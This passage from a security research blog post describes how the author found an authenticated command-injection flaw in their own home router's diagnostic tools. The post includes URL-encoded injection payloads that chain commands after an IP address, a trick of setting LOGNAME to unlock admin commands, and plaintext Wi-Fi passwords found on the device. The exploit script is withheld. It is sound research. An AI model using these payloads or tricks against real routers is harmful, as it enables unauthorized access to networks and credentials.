&lt;li&gt;&lt;code&gt;-t&lt;&#x2F;code&gt;: Display active TCP connections;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-u&lt;&#x2F;code&gt;: Display active UDP connections.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%203.png&quot; alt=&quot;netstat output showing router services and open ports&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Through the &lt;code&gt;uname -a&lt;&#x2F;code&gt; command, I identified the version of the running Linux system. As you can see, it&#x27;s a fairly up-to-date kernel, and the environment is somewhat limited, so we also chose not to delve too deeply into its exploitation because, above all, our user is already part of the root group.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Linux (none) 4.4.115 #1 SMP Fri Jul 5 16:58:21 CST 2024 armv7l GNU&#x2F;Linux&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Using the command &lt;code&gt;ps w&lt;&#x2F;code&gt;, I also found a bunch of interesting information. There are several processes using some config files, including some XMLs that contain virtually all the router&#x27;s configurations, but we also didn&#x27;t find anything of significant relevance here.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%204.png&quot; alt=&quot;ps w output showing running processes and config file references&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;After testing the router possibilities, I discovered some issues:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Me and my friends tried different methods to get a reverse shell, but without success.&lt;&#x2F;li&gt;
&lt;li&gt;Some common binaries, like &lt;code&gt;ls&lt;&#x2F;code&gt;, didn&#x27;t work.&lt;&#x2F;li&gt;
&lt;li&gt;The entire router was running on a read-only system, so we couldn&#x27;t create a web shell in the web app&#x27;s directory.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Not having &lt;code&gt;ls&lt;&#x2F;code&gt; wasn&#x27;t a problem because we still had the &lt;code&gt;find&lt;&#x2F;code&gt; binary. So we can use the command &lt;code&gt;file &#x2F;app -type f&lt;&#x2F;code&gt; to list all the files inside the &lt;code&gt;&#x2F;app&lt;&#x2F;code&gt; directory. For example:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%205.png&quot; alt=&quot;Using find to list files in the &#x2F;app directory&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;When I listed the files in the &lt;code&gt;&#x2F;tmp&lt;&#x2F;code&gt; directory, I found a file called &lt;code&gt;dump.txt&lt;&#x2F;code&gt; that caught my attention. Reading this file, I discovered it stored network passwords in plaintext, along with other network configurations, which is indeed quite useful if you want to access the Wi-Fi network without changing it, which I think is the best option. The contents of the file were something like this:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%206.png&quot; alt=&quot;dump.txt showing Wi-Fi passwords in plaintext&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%207.png&quot; alt=&quot;dump.txt additional network configuration entries&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;escalating-from-cmdsh&quot;&gt;Escalating from cmdsh&lt;&#x2F;h2&gt;
&lt;p&gt;Analyzing the processes, I discovered that the initial shell we got when accessing via SSH was called &lt;code&gt;cmdsh&lt;&#x2F;code&gt; and appeared to be a unique binary used to manage the SSH service. I copied the &lt;code&gt;cmdsh&lt;&#x2F;code&gt; binary to my local machine and opened it in Binary Ninja to understand what was happening in the background.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%208.png&quot; alt=&quot;cmdsh binary opened in Binary Ninja for analysis&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We can see that the binary looks for two variables called &lt;code&gt;LOGNAME&lt;&#x2F;code&gt; and &lt;code&gt;LOGFROM&lt;&#x2F;code&gt;. Digging further into the code, we identified the expected values for these variables:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;admin&lt;&#x2F;li&gt;
&lt;li&gt;telefonica&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%209.png&quot; alt=&quot;Binary Ninja showing LOGNAME and LOGFROM variable checks in cmdsh&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The most important part of this code is the lines:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;current_hidden&lt;&#x2F;code&gt; and &lt;code&gt;current_permission&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Why is this interesting? Because we can see the difference in permissions available when logged in with an &lt;code&gt;admin&lt;&#x2F;code&gt; or &lt;code&gt;telefonica&lt;&#x2F;code&gt; profile. So, before running the command &lt;code&gt;&#x2F;bin&#x2F;cmdsh&lt;&#x2F;code&gt;, we specify the values &lt;code&gt;LOGNAME=telefonica&lt;&#x2F;code&gt;, for example, and now some sysadmin commands become available to us =).&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2010.png&quot; alt=&quot;Running cmdsh with LOGNAME=telefonica unlocking additional commands&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;attacking-the-web-app&quot;&gt;Attacking the Web App&lt;&#x2F;h2&gt;
&lt;p&gt;I tried extracting the webapp content with &lt;code&gt;cURL&lt;&#x2F;code&gt;, &lt;code&gt;wget&lt;&#x2F;code&gt;, or &lt;code&gt;SCP&lt;&#x2F;code&gt;, but I didn&#x27;t have success with. So, I decided to create a tar file, convert it to base64, and save the output locally. After this, I converted it back into a normal file and successfully retrieved the content. I created the tar file from the directory &lt;code&gt;&#x2F;usr&#x2F;shared&#x2F;web&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2011.png&quot; alt=&quot;Creating tar archive of &#x2F;usr&#x2F;shared&#x2F;web and encoding to base64&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2012.png&quot; alt=&quot;Decoding base64 and extracting the webapp tar archive locally&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In the end, we have a &quot;valid&quot; code that we can open in VSCode to better understand the application&#x27;s structure, but not everything is as smooth as we imagined. This is an issue I didn&#x27;t consider at the time I was exporting it to VSCode. All the files are CGIs.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2013.png&quot; alt=&quot;VSCode showing the extracted webapp files are all CGI binaries&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Of course, we couldn&#x27;t read the CGI files directly because they are compiled C files that is used in the web interface and in other functions. I started exploring the available functions in the web app and found a menu called &lt;code&gt;Tools&lt;&#x2F;code&gt;. Accessing it, we saw options to run commands like &lt;code&gt;ping&lt;&#x2F;code&gt;, &lt;code&gt;traceroute&lt;&#x2F;code&gt;, and &lt;code&gt;nslookup&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2014.png&quot; alt=&quot;Router web app Tools menu showing ping, traceroute, and nslookup options&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This immediately caught my attention. I tried injecting direct commands into it, but there was a JavaScript validation that checked for valid IPs. However, we could bypass this by capturing a valid request in Burp Suite and modifying the IP parameter. Furthermore, there was some form of protection against command injection. By examining the code, we could understand how these functions worked (&lt;code&gt;ping&lt;&#x2F;code&gt;, &lt;code&gt;traceroute&lt;&#x2F;code&gt;, and &lt;code&gt;nslookup&lt;&#x2F;code&gt;) and look for ways to bypass or understand what was happening in the background.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2015.png&quot; alt=&quot;CGI code showing how ping command is constructed from user input&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2016.png&quot; alt=&quot;CGI code showing input concatenation into shell command&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Looking at the final lines of the code, where the &lt;code&gt;nslookup&lt;&#x2F;code&gt;, &lt;code&gt;traceroute&lt;&#x2F;code&gt; and &lt;code&gt;ping&lt;&#x2F;code&gt; binaries runs, we noticed that our input was directly concatenated into the execution and the output was saved to the file &lt;code&gt;&#x2F;tmp&#x2F;ping_result&lt;&#x2F;code&gt;. This confirmed that there was command injection possibility.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2017.png&quot; alt=&quot;CGI source showing direct input concatenation and output saved to &#x2F;tmp&#x2F;ping_result&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Returning to the web app, we kept trying to execute commands without immediate success. After a break, we discovered that the &lt;code&gt;&amp;amp;&lt;&#x2F;code&gt; character wasn&#x27;t blocked. For now, we could encode the &lt;code&gt;&amp;amp;&lt;&#x2F;code&gt; character with URL encoding and attempt to execute commands like this:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;127.0.0.1%26%26id&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2018.png&quot; alt=&quot;Burp Suite request with URL-encoded &amp;amp;&amp;amp; for command injection&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We received a blank response because the output is only saved when you render the another web page. After sending the request, we need to read &lt;code&gt;&#x2F;tmp&#x2F;ping_result&lt;&#x2F;code&gt; file content because is where our command execution output is.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2019.png&quot; alt=&quot;Reading &#x2F;tmp&#x2F;ping_result to get command output&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2020.png&quot; alt=&quot;ping_result file content showing id command output&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Finally, we achieved command execution. The issue here was that it was a blind command execution, since the output was saved in &lt;code&gt;&#x2F;tmp&#x2F;ping_result&lt;&#x2F;code&gt; and we couldn&#x27;t read this file outside SSH. The web app also didn&#x27;t render the command output directly.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2021.png&quot; alt=&quot;Command execution confirmed but output only accessible via SSH&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;If we look at the output of our command now, we&#x27;ll be surprised by something quite unfortunate, but something we managed to solve later, which was rather &quot;funny&quot; given the ideas we came up with during this process.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2022.png&quot; alt=&quot;ping_result showing truncated output due to application filtering&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;escaping-the-blind-command-execution&quot;&gt;Escaping the blind command execution&lt;&#x2F;h2&gt;
&lt;p&gt;Here&#x27;s what we discovered:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;The function that printed the command output removed some lines from the final result, so we couldn&#x27;t see the output without reading &lt;code&gt;&#x2F;tmp&#x2F;ping_result&lt;&#x2F;code&gt; file.&lt;&#x2F;li&gt;
&lt;li&gt;There was a slight delay between command execution and when the output was saved, so we needed to wait about 5 seconds before checking the output.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;To work around this, we needed to concatenate three commands. Why? By using two &lt;code&gt;nslookup&lt;&#x2F;code&gt; commands, we ensured our command&#x27;s output wasn&#x27;t the last line removed by the application.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2023.png&quot; alt=&quot;Three-command chain to bypass output filtering&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;127.0.0.1%26%26uname%20-a%26%26nslookup%20127.0.0.1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2024.png&quot; alt=&quot;uname -a output visible in ping_result surrounded by nslookup output&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now we need to automate the process by developing a functional exploit for this. Looking at the login process, we noticed the parameter &lt;code&gt;loginPassword&lt;&#x2F;code&gt; didn&#x27;t send the password in plaintext. Instead, it sent an MD5 hash of the password. After logging in, a &lt;code&gt;COOKIE_SESSION_KEY&lt;&#x2F;code&gt; was generated, which indicates that our session is valid and we are authenticated in the environment.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2025.png&quot; alt=&quot;Login request showing MD5-hashed password parameter&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2026.png&quot; alt=&quot;Login response setting COOKIE_SESSION_KEY&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Logging in again showed that the &lt;code&gt;loginPassword&lt;&#x2F;code&gt; value was different from the first login. Apparently, there is a function in the system that ensures the password hash doesn&#x27;t repeat, which I believe is meant to prevent brute force attacks and similar methods.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2027.png&quot; alt=&quot;Second login showing different MD5 hash for the same password&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Inspecting the &lt;code&gt;login.cgi&lt;&#x2F;code&gt; HTML source code, we found the JavaScript function that generated the MD5 hash, the function in question is called &quot;checkLogin,&quot; and it seems to mix the SID value, the original password (in plain text), and finally convert everything to MD5.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2028.png&quot; alt=&quot;login.cgi source showing checkLogin function mixing SID with password for MD5&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Refreshing the page showed that the &lt;code&gt;sid&lt;&#x2F;code&gt; value changed each time, this indicates that every time we access the login page, the SID will be changed, something like a dynamic generation, so it&#x27;s not possible to simply convert our password to MD5 and send it directly to the login form.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2029.png&quot; alt=&quot;Login page source showing dynamic sid value that changes on each load&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;To work with this, our Python script needed to capture the &lt;code&gt;var sid&lt;&#x2F;code&gt; value, concatenate it with the password, and generate the MD5 hash. Using BeautifulSoup, we captured the &lt;code&gt;var sid&lt;&#x2F;code&gt; value after the &lt;code&gt;=&lt;&#x2F;code&gt; character with the following code:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2030.png&quot; alt=&quot;Python script using BeautifulSoup to extract the sid value from login page&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This is already enough for us to generate a valid hash when submitting it to the login form after updating the code.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2031.png&quot; alt=&quot;Python script generating valid MD5 hash from sid + password&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now, with a valid &lt;code&gt;COOKIE_SESSION_KEY&lt;&#x2F;code&gt;, we could perform authenticated actions on the router. The final step was to replicate the process and integrate it into the script. The final result of our script will be an command execution with direct output, which made exploiting the vulnerability ten times better.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2033.png&quot; alt=&quot;Final exploit script achieving authenticated RCE with direct output&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;During this process, my friends and I realized that the most ridiculous ideas can work, like concatenating three commands and hoping for the best xD. But honestly, it&#x27;s interesting how watching an H2HC talk sparked this desire in me to explore something I had such easy access to, and in the end, everything worked out. Obviously, all of this was possible thanks to the help of the other members of Inferi, who were exceptional in helping me brainstorm some ideas.&lt;&#x2F;p&gt;
&lt;p&gt;It&#x27;s funny that I have no experience with reverse engineering, but a little bit of guesswork and determination seems to solve everything. Of course, if I had some experience, it would have helped a lot, but that&#x27;s something for the future.&lt;&#x2F;p&gt;
&lt;p&gt;Thank you for reading this far! I hope you&#x27;ve learned something or at least enjoyed the content. Neither the script nor the vulnerability will be made available since this was just field research. But who knows? Maybe this will turn into a CVE in the future, and we&#x27;ll change our minds about publishing it.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=4_UI9zBLJp0&quot;&gt;youtube.com — Internet of Sh!t - Maycon Vitali - H2HC University 2018&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
</feed>
